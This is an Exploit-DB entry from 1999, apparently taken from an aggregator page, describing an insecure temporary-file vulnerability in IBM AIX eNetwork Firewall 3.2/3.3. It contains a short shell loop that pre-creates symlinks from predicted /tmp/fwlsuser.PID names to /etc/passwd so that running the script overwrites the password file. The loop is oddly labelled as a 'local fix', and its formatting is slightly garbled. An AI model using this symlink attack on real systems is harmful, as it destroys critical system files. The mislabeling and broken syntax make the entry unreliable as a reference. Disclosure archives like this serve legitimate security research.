Lucene search

K
exploitdbPaul CammidgeEDB-ID:19229
HistoryMay 25, 1999 - 12:00 a.m.

IBM AIX eNetwork Firewall 3.2/3.3 - Insecure Temporary File Creation

1999-05-2500:00:00
Paul Cammidge
www.exploit-db.com
16

AI Score

7.4

Confidence

Low

soure: https://www.securityfocus.com/bid/287/info

IBM's eNetwork Firewall for AIX contains a number of vulnerability in scripts which manipulate files insecurely. When fwlsuser script is run it creates a temporary file called /tmp/fwlsuser.PID ( where PID is the process ID of the command being run ). If this file is created previously and is a link to any other file the output generated by the fwlsuser script will overwrite this linked file. 

x = 5000
while true

LOCAL FIX AS REPORTED BY ORIGINATOR:
ln -s /etc/passwd /tmp/fwlsuser.$x
# rm /tmp/fwlsuser.$x
let x=$x+1
echo $x
done
exit 

AI Score

7.4

Confidence

Low

Related for EDB-ID:19229